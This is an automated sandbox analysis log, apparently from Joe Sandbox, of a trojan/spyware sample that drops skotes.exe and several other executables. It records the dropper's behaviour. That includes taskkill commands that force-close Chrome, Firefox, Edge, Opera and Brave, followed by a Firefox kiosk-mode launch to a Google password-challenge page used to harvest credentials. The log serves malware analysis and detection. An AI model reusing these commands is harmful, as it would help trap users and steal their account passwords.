Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50110 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009BEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

13_2_009BEAFF

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009BED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

13_2_009BED6A

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

13_2_009BEAFF

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009AAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

13_2_009AAA57

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009D9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

13_2_009D9576

System Summary

Binary is likely a compiled AutoIt script file

Source: 4feecdc349.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 4feecdc349.exe, 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_15241684-d
Source: 4feecdc349.exe, 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_afd646c3-1
Source: random[1].exe2.1.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d74b808f-c
Source: random[1].exe2.1.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d9832d20-2
Source: 4feecdc349.exe.1.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_8b944bd7-7
Source: 4feecdc349.exe.1.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7405f1e7-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: d764c66987.exe.1.dr	Static PE information: section name:
Source: d764c66987.exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe0.1.dr	Static PE information: section name:
Source: random[1].exe0.1.dr	Static PE information: section name: .idata
Source: random[1].exe0.1.dr	Static PE information: section name:
Source: 11caca4b5d.exe.1.dr	Static PE information: section name:
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: .idata
Source: 11caca4b5d.exe.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name: .idata
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: 95716ab34b.exe.1.dr	Static PE information: section name:
Source: 95716ab34b.exe.1.dr	Static PE information: section name: .idata
Source: 95716ab34b.exe.1.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009AD5EB: CreateFileW,DeviceIoControl,CloseHandle,

13_2_009AD5EB

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009A1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

13_2_009A1201

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009AE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

13_2_009AE8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00427049	1_2_00427049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00428860	1_2_00428860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_004278BB	1_2_004278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00422D10	1_2_00422D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003E4DE0	1_2_003E4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_004231A8	1_2_004231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003E4B30	1_2_003E4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00417F36	1_2_00417F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0042779B	1_2_0042779B
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B2046	13_2_009B2046
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00948060	13_2_00948060
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009A8298	13_2_009A8298
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0097E4FF	13_2_0097E4FF
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0097676B	13_2_0097676B
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009D4873	13_2_009D4873
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0096CAA0	13_2_0096CAA0
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0094CAF0	13_2_0094CAF0
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0095CC39	13_2_0095CC39
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00976DD9	13_2_00976DD9
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009491C0	13_2_009491C0
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0095B119	13_2_0095B119
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00961394	13_2_00961394
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00961706	13_2_00961706
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0096781B	13_2_0096781B
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009619B0	13_2_009619B0
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00947920	13_2_00947920
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0095997D	13_2_0095997D
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00967A4A	13_2_00967A4A
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00967CA7	13_2_00967CA7
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00961C77	13_2_00961C77
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00979EEE	13_2_00979EEE
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009CBE44	13_2_009CBE44
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00961F32	13_2_00961F32

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 485AE38BFCB66923D04A09E0B1310C0D26F93C5B30742827F994CE1C7EC5AA28
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 0EE84B8643C4B64870EBBB47AC96D156B7144A15CF81B8524E9D36DEFCFA6451
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe 5D38C8EEA89B61FC0A7079BF280AD27430966BA25AE25176AE72C2B78A863009

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: String function: 0095F9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: String function: 00960A30 appears 46 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981000936648501
Source: file.exe	Static PE information: Section: wdmrrcke ZLIB complexity 0.9947488193174894
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981000936648501
Source: skotes.exe.0.dr	Static PE information: Section: wdmrrcke ZLIB complexity 0.9947488193174894
Source: random[1].exe0.1.dr	Static PE information: Section: ZLIB complexity 0.9977408854166666
Source: random[1].exe0.1.dr	Static PE information: Section: kavxkxnu ZLIB complexity 0.9942556527944711
Source: 11caca4b5d.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9977408854166666
Source: 11caca4b5d.exe.1.dr	Static PE information: Section: kavxkxnu ZLIB complexity 0.9942556527944711
Source: random[1].exe1.1.dr	Static PE information: Section: ihmwfsmw ZLIB complexity 0.9948520399437519
Source: 95716ab34b.exe.1.dr	Static PE information: Section: ihmwfsmw ZLIB complexity 0.9948520399437519

Source: random[1].exe0.1.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 11caca4b5d.exe.1.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@44/19@9/6

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009B37B5 GetLastError,FormatMessageW,

13_2_009B37B5

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009A10BF AdjustTokenPrivileges,CloseHandle,		13_2_009A10BF
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009A16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		13_2_009A16C3

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009B51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

13_2_009B51CD

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009AD4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

13_2_009AD4DC

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009B648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

13_2_009B648E

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009442A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

13_2_009442A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 11caca4b5d.exe, 0000000A.00000003.3928349991.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4038887006.0000000005C91000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 11caca4b5d.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 95716ab34b.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 11caca4b5d.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 95716ab34b.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe "C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe"
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fdc1535-834e-456f-8820-947ad461aee9} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 2539256dd10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"
